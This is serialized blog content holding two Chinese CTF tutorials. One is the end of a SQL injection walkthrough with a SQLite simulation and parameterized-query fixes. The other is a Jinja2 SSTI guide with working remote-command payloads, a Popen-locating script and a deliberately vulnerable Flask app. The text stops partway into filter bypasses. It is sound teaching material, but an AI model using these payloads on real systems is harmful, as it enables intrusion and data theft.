2：列库",[19,7020,7021],{"className":21,"code":1682,"language":23,"meta":24,"style":24},[26,7022,7023],{"__ignoreMap":24},[29,7024,7025,7027,7029,7031,7033,7035],{"class":31,"line":32},[29,7026,1655],{"class":35},[29,7028,1658],{"class":39},[29,7030,44],{"class":43},[29,7032,499],{"class":47},[29,7034,1197],{"class":43},[29,7036,1699],{"class":39},[15,7038,7039,7040,789],{},"预期输出：数据库列表，含 ",[26,7041,788],{},[271,7043,7045],{"id":7044},"命令-3导出数据","命令 3：导出数据",[19,7047,7048],{"className":21,"code":1710,"language":23,"meta":24,"style":24},[26,7049,7050],{"__ignoreMap":24},[29,7051,7052,7054,7056,7058,7060,7062,7064,7066,7068,7070],{"class":31,"line":32},[29,7053,1655],{"class":35},[29,7055,1658],{"class":39},[29,7057,44],{"class":43},[29,7059,499],{"class":47},[29,7061,1197],{"class":43},[29,7063,1727],{"class":39},[29,7065,1730],{"class":47},[29,7067,1733],{"class":39},[29,7069,1736],{"class":47},[29,7071,1739],{"class":39},[15,7073,504,7074,7076,7077,789],{},[26,7075,1744],{}," 表内容 ",[26,7078,872],{},[10,7080,7082],{"id":7081},"七核心步骤-5防御","七、核心步骤 5：防御",[19,7084,7086],{"className":327,"code":7085,"language":209,"meta":24,"style":24},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[26,7087,7088,7093,7097,7101,7105,7110,7115,7120],{"__ignoreMap":24},[29,7089,7090],{"class":31,"line":32},[29,7091,7092],{},"// PDO 参数化\n",[29,7094,7095],{"class":31,"line":166},[29,7096,914],{},[29,7098,7099],{"class":31,"line":184},[29,7100,919],{},[29,7102,7103],{"class":31,"line":196},[29,7104,225],{"emptyLinePlaceholder":224},[29,7106,7107],{"class":31,"line":206},[29,7108,7109],{},"// mysqli 参数化\n",[29,7111,7112],{"class":31,"line":221},[29,7113,7114],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[29,7116,7117],{"class":31,"line":228},[29,7118,7119],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[29,7121,7122],{"class":31,"line":234},[29,7123,7124],{},"$stmt->execute();\n",[19,7126,7128],{"className":3199,"code":7127,"language":3201,"meta":24,"style":24},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[26,7129,7130],{"__ignoreMap":24},[29,7131,7132],{"class":31,"line":32},[29,7133,7127],{},[15,7135,7136,7137,7139],{},"参数化后，输入 ",[26,7138,925],{}," 只会作为字符串比较，不再改变语句结构。",[10,7141,7143],{"id":7142},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[15,7145,7146,7148],{},[138,7147,519],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[15,7150,7151,7152,324],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[26,7153,7154],{},"sim.py",[19,7156,7158],{"className":3199,"code":7157,"language":3201,"meta":24,"style":24},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n    cur = conn.cursor()\n    # cursor()：创建游标对象，用于执行 SQL。\n    try:\n        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n        return str(cur.fetchall())\n        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n    except Exception as e:\n        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n        return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[26,7159,7160,7165,7170,7174,7179,7184,7189,7194,7198,7203,7207,7212,7217,7221,7226,7231,7236,7241,7246,7251,7256,7261,7266,7271,7276,7281,7285,7290,7295,7300,7305,7310,7315,7320],{"__ignoreMap":24},[29,7161,7162],{"class":31,"line":32},[29,7163,7164],{},"import sqlite3\n",[29,7166,7167],{"class":31,"line":166},[29,7168,7169],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[29,7171,7172],{"class":31,"line":184},[29,7173,225],{"emptyLinePlaceholder":224},[29,7175,7176],{"class":31,"line":196},[29,7177,7178],{},"conn = sqlite3.connect(':memory:')\n",[29,7180,7181],{"class":31,"line":206},[29,7182,7183],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[29,7185,7186],{"class":31,"line":221},[29,7187,7188],{},"conn.executescript('''\n",[29,7190,7191],{"class":31,"line":228},[29,7192,7193],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[29,7195,7196],{"class":31,"line":234},[29,7197,307],{},[29,7199,7200],{"class":31,"line":246},[29,7201,7202],{},"CREATE TABLE flag (flag TEXT);\n",[29,7204,7205],{"class":31,"line":376},[29,7206,317],{},[29,7208,7209],{"class":31,"line":382},[29,7210,7211],{},"''')\n",[29,7213,7214],{"class":31,"line":388},[29,7215,7216],{},"# executescript：一次性执行多条 SQL，建表并插入测试数据。\n",[29,7218,7219],{"class":31,"line":394},[29,7220,225],{"emptyLinePlaceholder":224},[29,7222,7223],{"class":31,"line":400},[29,7224,7225],{},"def query(id_):\n",[29,7227,7228],{"class":31,"line":405},[29,7229,7230],{},"    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[29,7232,7233],{"class":31,"line":411},[29,7234,7235],{},"    cur = conn.cursor()\n",[29,7237,7238],{"class":31,"line":417},[29,7239,7240],{},"    # cursor()：创建游标对象，用于执行 SQL。\n",[29,7242,7243],{"class":31,"line":422},[29,7244,7245],{},"    try:\n",[29,7247,7248],{"class":31,"line":428},[29,7249,7250],{},"        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[29,7252,7253],{"class":31,"line":434},[29,7254,7255],{},"        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n",[29,7257,7258],{"class":31,"line":440},[29,7259,7260],{},"        return str(cur.fetchall())\n",[29,7262,7263],{"class":31,"line":446},[29,7264,7265],{},"        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[29,7267,7268],{"class":31,"line":452},[29,7269,7270],{},"    except Exception as e:\n",[29,7272,7273],{"class":31,"line":458},[29,7274,7275],{},"        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[29,7277,7278],{"class":31,"line":5704},[29,7279,7280],{},"        return \"ERROR: \" + str(e)\n",[29,7282,7283],{"class":31,"line":5709},[29,7284,225],{"emptyLinePlaceholder":224},[29,7286,7287],{"class":31,"line":5715},[29,7288,7289],{},"print(query(\"1\"))\n",[29,7291,7292],{"class":31,"line":5721},[29,7293,7294],{},"print(query(\"1'\"))\n",[29,7296,7297],{"class":31,"line":5726},[29,7298,7299],{},"print(query(\"1 AND 1=1\"))\n",[29,7301,7302],{"class":31,"line":5732},[29,7303,7304],{},"print(query(\"1 AND 1=2\"))\n",[29,7306,7307],{"class":31,"line":5738},[29,7308,7309],{},"print(query(\"1 ORDER BY 3\"))\n",[29,7311,7312],{"class":31,"line":5744},[29,7313,7314],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[29,7316,7317],{"class":31,"line":5750},[29,7318,7319],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[29,7321,7322],{"class":31,"line":5755},[29,7323,7324],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[15,7326,7327],{},"运行：",[19,7329,7331],{"className":21,"code":7330,"language":23,"meta":24,"style":24},"python3 sim.py\n",[26,7332,7333],{"__ignoreMap":24},[29,7334,7335,7337],{"class":31,"line":32},[29,7336,4074],{"class":35},[29,7338,7339],{"class":47}," sim.py\n",[15,7341,4372],{},[19,7343,7346],{"className":7344,"code":7345,"language":63,"meta":24},[61],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[26,7347,7345],{"__ignoreMap":24},[15,7349,7350],{},"逐行对应：",[70,7352,7353,7366],{},[73,7354,7355],{},[76,7356,7357,7360,7363],{},[79,7358,7359],{},"输入",[79,7361,7362],{},"输出",[79,7364,7365],{},"结论",[86,7367,7368,7380,7393,7405,7418,7431,7446,7459],{},[76,7369,7370,7374,7377],{},[91,7371,7372],{},[26,7373,1059],{},[91,7375,7376],{},"正常记录",[91,7378,7379],{},"基线",[76,7381,7382,7387,7390],{},[91,7383,7384],{},[26,7385,7386],{},"1'",[91,7388,7389],{},"语法错误",[91,7391,7392],{},"注入点存在",[76,7394,7395,7400,7402],{},[91,7396,7397],{},[26,7398,7399],{},"1 AND 1=1",[91,7401,7376],{},[91,7403,7404],{},"条件真",[76,7406,7407,7412,7415],{},[91,7408,7409],{},[26,7410,7411],{},"1 AND 1=2",[91,7413,7414],{},"空",[91,7416,7417],{},"条件假",[76,7419,7420,7425,7428],{},[91,7421,7422],{},[26,7423,7424],{},"1 ORDER BY 3",[91,7426,7427],{},"正常",[91,7429,7430],{},"至少 3 列",[76,7432,7433,7438,7443],{},[91,7434,7435],{},[26,7436,7437],{},"-1 UNION SELECT 1,2,3",[91,7439,7440],{},[26,7441,7442],{},"(1, 2, 3)",[91,7444,7445],{},"3 列且回显",[76,7447,7448,7451,7456],{},[91,7449,7450],{},"查 sqlite_master",[91,7452,7453],{},[26,7454,7455],{},"articles,flag",[91,7457,7458],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[76,7460,7461,7464,7468],{},[91,7462,7463],{},"查 flag 表",[91,7465,7466],{},[26,7467,872],{},[91,7469,7470],{},"拿到 flag",[10,7472,7474],{"id":7473},"九小结","九、小结",[15,7476,7477,7478,7481],{},"SQL 注入主线：",[138,7479,7480],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[1990,7483,7484],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":24,"searchDepth":166,"depth":166,"links":7486},[7487,7488,7489,7490,7491,7492,7493,7494,7495],{"id":6176,"depth":184,"text":6177},{"id":6223,"depth":184,"text":6224},{"id":6356,"depth":184,"text":6357},{"id":6499,"depth":184,"text":6500},{"id":6728,"depth":184,"text":6729},{"id":6974,"depth":184,"text":6975},{"id":7081,"depth":184,"text":7082},{"id":7142,"depth":184,"text":7143},{"id":7473,"depth":184,"text":7474},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。",{"date":2008,"image":7498,"alt":7499,"tags":7500,"published":224},"/blogs-img/blog5.png","SQL 注入深入实战",[788,2012,7501,2013],"sql注入","/blogs/ctf-web-sql-injection-deep-dive",{"title":6171,"description":7496},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",{"id":7507,"title":7508,"body":7509,"description":8552,"extension":2006,"meta":8553,"navigation":224,"ogImage":8554,"path":8558,"seo":8559,"stem":8560,"__hash__":8561},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":7,"value":7510,"toc":8542},[7511,7515,7518,7561,7572,7575,7584,7590,7594,7608,7613,7666,7668,7680,7684,7689,7702,7706,7722,7724,7743,7747,7763,7765,7783,7793,7797,7864,7868,7873,7906,7915,7919,7925,7929,7935,7938,7954,7956,7974,7977,7993,7995,8013,8026,8034,8045,8052,8058,8061,8139,8145,8148,8154,8158,8170,8179,8191,8195,8201,8205,8211,8220,8222,8226,8272,8276,8319,8325,8329,8332,8401,8405,8414,8418,8423,8438,8444,8448,8463,8492,8495,8501,8505,8513,8516,8522,8524,8539],[10,7512,7514],{"id":7513},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[15,7516,7517],{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法：",[19,7519,7521],{"className":3199,"code":7520,"language":3201,"meta":24,"style":24},"from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    return render_template(\"hello.html\", name=name)\n",[26,7522,7523,7528,7532,7537,7541,7546,7551,7556],{"__ignoreMap":24},[29,7524,7525],{"class":31,"line":32},[29,7526,7527],{},"from flask import Flask, render_template\n",[29,7529,7530],{"class":31,"line":166},[29,7531,225],{"emptyLinePlaceholder":224},[29,7533,7534],{"class":31,"line":184},[29,7535,7536],{},"app = Flask(__name__)\n",[29,7538,7539],{"class":31,"line":196},[29,7540,225],{"emptyLinePlaceholder":224},[29,7542,7543],{"class":31,"line":206},[29,7544,7545],{},"@app.route(\"/\")\n",[29,7547,7548],{"class":31,"line":221},[29,7549,7550],{},"def index():\n",[29,7552,7553],{"class":31,"line":228},[29,7554,7555],{},"    name = request.args.get(\"name\", \"world\")\n",[29,7557,7558],{"class":31,"line":234},[29,7559,7560],{},"    return render_template(\"hello.html\", name=name)\n",[15,7562,7563,7564,7567,7568,7571],{},"模板文件 ",[26,7565,7566],{},"hello.html"," 内容是固定的 ",[26,7569,7570],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[15,7573,7574],{},"错误写法是把用户输入拼进模板字符串：",[19,7576,7578],{"className":3199,"code":7577,"language":3201,"meta":24,"style":24},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[26,7579,7580],{"__ignoreMap":24},[29,7581,7582],{"class":31,"line":32},[29,7583,7577],{},[15,7585,7586,7589],{},[26,7587,7588],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[10,7591,7593],{"id":7592},"二环境搭建","二、环境搭建",[19,7595,7597],{"className":21,"code":7596,"language":23,"meta":24,"style":24},"pip install flask\n",[26,7598,7599],{"__ignoreMap":24},[29,7600,7601,7603,7605],{"class":31,"line":32},[29,7602,4651],{"class":35},[29,7604,172],{"class":47},[29,7606,7607],{"class":47}," flask\n",[15,7609,3390,7610,324],{},[26,7611,7612],{},"app.py",[19,7614,7616],{"className":3199,"code":7615,"language":3201,"meta":24,"style":24},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n    return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[26,7617,7618,7623,7627,7631,7635,7639,7643,7647,7652,7657,7661],{"__ignoreMap":24},[29,7619,7620],{"class":31,"line":32},[29,7621,7622],{},"from flask import Flask, request, render_template_string\n",[29,7624,7625],{"class":31,"line":166},[29,7626,225],{"emptyLinePlaceholder":224},[29,7628,7629],{"class":31,"line":184},[29,7630,7536],{},[29,7632,7633],{"class":31,"line":196},[29,7634,225],{"emptyLinePlaceholder":224},[29,7636,7637],{"class":31,"line":206},[29,7638,7545],{},[29,7640,7641],{"class":31,"line":221},[29,7642,7550],{},[29,7644,7645],{"class":31,"line":228},[29,7646,7555],{},[29,7648,7649],{"class":31,"line":234},[29,7650,7651],{},"    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[29,7653,7654],{"class":31,"line":246},[29,7655,7656],{},"    return render_template_string(html, name=name)\n",[29,7658,7659],{"class":31,"line":376},[29,7660,225],{"emptyLinePlaceholder":224},[29,7662,7663],{"class":31,"line":382},[29,7664,7665],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[15,7667,7327],{},[19,7669,7671],{"className":21,"code":7670,"language":23,"meta":24,"style":24},"python app.py\n",[26,7672,7673],{"__ignoreMap":24},[29,7674,7675,7677],{"class":31,"line":32},[29,7676,3201],{"class":35},[29,7678,7679],{"class":47}," app.py\n",[10,7681,7683],{"id":7682},"三核心步骤-1探测","三、核心步骤 1：探测",[15,7685,7686,7688],{},[138,7687,519],{},"：确认\"用户输入被当作模板代码求值\"。",[15,7690,7691,7693,7694,7697,7698,7701],{},[138,7692,528],{},"：模板引擎会执行 ",[26,7695,7696],{},"{{ 表达式 }}","。传 ",[26,7699,7700],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[271,7703,7705],{"id":7704},"_31-正常请求","3.1 正常请求",[19,7707,7709],{"className":21,"code":7708,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name=alice\"\n",[26,7710,7711],{"__ignoreMap":24},[29,7712,7713,7715,7717,7720],{"class":31,"line":32},[29,7714,36],{"class":35},[29,7716,44],{"class":43},[29,7718,7719],{"class":47},"http://127.0.0.1:5000/?name=alice",[29,7721,51],{"class":43},[15,7723,504],{},[19,7725,7727],{"className":1026,"code":7726,"language":1028,"meta":24,"style":24},"\u003Ch1>Hello, alice!\u003C/h1>\n",[26,7728,7729],{"__ignoreMap":24},[29,7730,7731,7733,7736,7739,7741],{"class":31,"line":32},[29,7732,1041],{"class":1035},[29,7734,7735],{"class":1044},"h1",[29,7737,7738],{"class":1035},">Hello, alice!\u003C/",[29,7740,7735],{"class":1044},[29,7742,1048],{"class":1035},[271,7744,7746],{"id":7745},"_32-表达式求值","3.2 表达式求值",[19,7748,7750],{"className":21,"code":7749,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[26,7751,7752],{"__ignoreMap":24},[29,7753,7754,7756,7758,7761],{"class":31,"line":32},[29,7755,36],{"class":35},[29,7757,44],{"class":43},[29,7759,7760],{"class":47},"http://127.0.0.1:5000/?name={{7*7}}",[29,7762,51],{"class":43},[15,7764,504],{},[19,7766,7768],{"className":1026,"code":7767,"language":1028,"meta":24,"style":24},"\u003Ch1>Hello, 49!\u003C/h1>\n",[26,7769,7770],{"__ignoreMap":24},[29,7771,7772,7774,7776,7779,7781],{"class":31,"line":32},[29,7773,1041],{"class":1035},[29,7775,7735],{"class":1044},[29,7777,7778],{"class":1035},">Hello, 49!\u003C/",[29,7780,7735],{"class":1044},[29,7782,1048],{"class":1035},[15,7784,7785,7788,7789,7792],{},[26,7786,7787],{},"7*7"," 被求值成 ",[26,7790,7791],{},"49","，说明模板表达式生效，SSTI 成立。",[271,7794,7796],{"id":7795},"_33-其他引擎的探测语法","3.3 其他引擎的探测语法",[70,7798,7799,7812],{},[73,7800,7801],{},[76,7802,7803,7806,7809],{},[79,7804,7805],{},"引擎",[79,7807,7808],{},"语言",[79,7810,7811],{},"探测 payload",[86,7813,7814,7826,7839,7851],{},[76,7815,7816,7819,7822],{},[91,7817,7818],{},"Jinja2 / Twig",[91,7820,7821],{},"Python / PHP",[91,7823,7824],{},[26,7825,7700],{},[76,7827,7828,7831,7834],{},[91,7829,7830],{},"Freemarker",[91,7832,7833],{},"Java",[91,7835,7836],{},[26,7837,7838],{},"${7*7}",[76,7840,7841,7844,7846],{},[91,7842,7843],{},"Velocity",[91,7845,7833],{},[91,7847,7848],{},[26,7849,7850],{},"#set($x=7*7)$x",[76,7852,7853,7856,7859],{},[91,7854,7855],{},"Smarty",[91,7857,7858],{},"PHP",[91,7860,7861],{},[26,7862,7863],{},"{$smarty.version}",[10,7865,7867],{"id":7866},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[15,7869,7870,7872],{},[138,7871,519],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[15,7874,7875,7877,7878,7881,7882,1847,7885,1847,7888,7891,7892,7895,7896,7898,7899,7902,7903,789],{},[138,7876,528],{},"：模板只能访问少量对象（如 ",[26,7879,7880],{},"config","）。Python 对象有 ",[26,7883,7884],{},"__class__",[26,7886,7887],{},"__init__",[26,7889,7890],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[26,7893,7894],{},"os"," 模块。验证方式：先执行 ",[26,7897,143],{},"，输出 ",[26,7900,7901],{},"uid=..."," 即成功，再换 ",[26,7904,7905],{},"cat /flag",[15,7907,7908,7909,7911,7912,7914],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[26,7910,7880],{}," 对象，沿 Python 内部属性找到 ",[26,7913,7894],{}," 模块。",[271,7916,7918],{"id":7917},"_41-分步理解","4.1 分步理解",[19,7920,7923],{"className":7921,"code":7922,"language":63,"meta":24},[61],"config                                  → Flask 配置对象\nconfig.__class__                        → 它的类（Config）\nconfig.__class__.__init__               → Config 的构造函数\nconfig.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间（字典）\n__globals__['os']                       → os 模块\nos.popen('id').read()                   → 执行命令并读取输出\n",[26,7924,7922],{"__ignoreMap":24},[271,7926,7928],{"id":7927},"_42-完整-payload","4.2 完整 payload",[19,7930,7933],{"className":7931,"code":7932,"language":63,"meta":24},[61],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[26,7934,7932],{"__ignoreMap":24},[15,7936,7937],{},"用 curl 发送：",[19,7939,7941],{"className":21,"code":7940,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[26,7942,7943],{"__ignoreMap":24},[29,7944,7945,7947,7949,7952],{"class":31,"line":32},[29,7946,36],{"class":35},[29,7948,44],{"class":43},[29,7950,7951],{"class":47},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[29,7953,51],{"class":43},[15,7955,504],{},[19,7957,7959],{"className":1026,"code":7958,"language":1028,"meta":24,"style":24},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[26,7960,7961],{"__ignoreMap":24},[29,7962,7963,7965,7967,7970,7972],{"class":31,"line":32},[29,7964,1041],{"class":1035},[29,7966,7735],{"class":1044},[29,7968,7969],{"class":1035},">Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/",[29,7971,7735],{"class":1044},[29,7973,1048],{"class":1035},[15,7975,7976],{},"命令执行成功。读 flag：",[19,7978,7980],{"className":21,"code":7979,"language":23,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[26,7981,7982],{"__ignoreMap":24},[29,7983,7984,7986,7988,7991],{"class":31,"line":32},[29,7985,36],{"class":35},[29,7987,44],{"class":43},[29,7989,7990],{"class":47},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[29,7992,51],{"class":43},[15,7994,504],{},[19,7996,7998],{"className":1026,"code":7997,"language":1028,"meta":24,"style":24},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[26,7999,8000],{"__ignoreMap":24},[29,8001,8002,8004,8006,8009,8011],{"class":31,"line":32},[29,8003,1041],{"class":1035},[29,8005,7735],{"class":1044},[29,8007,8008],{"class":1035},">Hello, flag{ssti_rce}!\u003C/",[29,8010,7735],{"class":1044},[29,8012,1048],{"class":1035},[15,8014,8015,324,8023,8025],{},[138,8016,8017,8018,8020,8021],{},"为什么先试 ",[26,8019,143],{}," 再试 ",[26,8022,7905],{},[26,8024,143],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[271,8027,8029,8030,8033],{"id":8028},"_43-备选链subclasses-扫描","4.3 备选链：",[138,8031,8032],{},"subclasses"," 扫描",[15,8035,8036,8038,8039,8041,8042,789],{},[138,8037,519],{},"：当 ",[26,8040,7880],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[26,8043,8044],{},"subprocess.Popen",[15,8046,8047,8049,8050,324],{},[26,8048,7880],{}," 链不可用时，从字符串对象出发找 ",[26,8051,8044],{},[19,8053,8056],{"className":8054,"code":8055,"language":63,"meta":24},[61],"''.__class__.__mro__[1].__subclasses__()\n",[26,8057,8055],{"__ignoreMap":24},[15,8059,8060],{},"先用 Python 脚本找下标：",[19,8062,8064],{"className":3199,"code":8063,"language":3201,"meta":24,"style":24},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n    # 逐个尝试子类下标 0..499，把类名渲染出来。\n    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n    # ''：空字符串对象；.__class__：它的类 str；\n    # .__mro__[1]：继承链上的 object 类；\n    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n    # .__name__：该类的名字，会渲染到页面。\n    r = requests.get(url, params={\"name\": payload})\n    if \"Popen\" in r.text:\n        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n        print(\"Popen index:\", i)\n        break\n",[26,8065,8066,8071,8075,8080,8085,8090,8095,8100,8105,8110,8115,8120,8125,8130,8135],{"__ignoreMap":24},[29,8067,8068],{"class":31,"line":32},[29,8069,8070],{},"import requests\n",[29,8072,8073],{"class":31,"line":166},[29,8074,225],{"emptyLinePlaceholder":224},[29,8076,8077],{"class":31,"line":184},[29,8078,8079],{},"url = \"http://127.0.0.1:5000/\"\n",[29,8081,8082],{"class":31,"line":196},[29,8083,8084],{},"for i in range(500):\n",[29,8086,8087],{"class":31,"line":206},[29,8088,8089],{},"    # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[29,8091,8092],{"class":31,"line":221},[29,8093,8094],{},"    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[29,8096,8097],{"class":31,"line":228},[29,8098,8099],{},"    # ''：空字符串对象；.__class__：它的类 str；\n",[29,8101,8102],{"class":31,"line":234},[29,8103,8104],{},"    # .__mro__[1]：继承链上的 object 类；\n",[29,8106,8107],{"class":31,"line":246},[29,8108,8109],{},"    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[29,8111,8112],{"class":31,"line":376},[29,8113,8114],{},"    # .__name__：该类的名字，会渲染到页面。\n",[29,8116,8117],{"class":31,"line":382},[29,8118,8119],{},"    r = requests.get(url, params={\"name\": payload})\n",[29,8121,8122],{"class":31,"line":388},[29,8123,8124],{},"    if \"Popen\" in r.text:\n",[29,8126,8127],{"class":31,"line":394},[29,8128,8129],{},"        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[29,8131,8132],{"class":31,"line":400},[29,8133,8134],{},"        print(\"Popen index:\", i)\n",[29,8136,8137],{"class":31,"line":405},[29,8138,4612],{},[15,8140,504,8141,8144],{},[26,8142,8143],{},"Popen index: 258","（数字因 Python 版本而异）。",[15,8146,8147],{},"然后利用：",[19,8149,8152],{"className":8150,"code":8151,"language":63,"meta":24},[61],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, stdout=-1)：\n#   shell=True 表示通过 /bin/sh 执行字符串命令；\n#   stdout=-1 表示把标准输出接到管道；\n#   .communicate()[0]：等待进程结束并取标准输出。\n",[26,8153,8151],{"__ignoreMap":24},[10,8155,8157],{"id":8156},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[15,8159,8160,8162,8163,1847,8166,8169],{},[138,8161,519],{},"：题目过滤 ",[26,8164,8165],{},".",[26,8167,8168],{},"[]","、关键词时，用等价写法表达同样的调用。",[15,8171,8172,8174,8175,8178],{},[138,8173,528],{},"：点号访问可以用 Jinja2 的 ",[26,8176,8177],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[15,8180,8181,8182,1847,8184,1847,8187,8190],{},"题目常过滤 ",[26,8183,8165],{},[26,8185,8186],{},"[",[26,8188,8189],{},"]"," 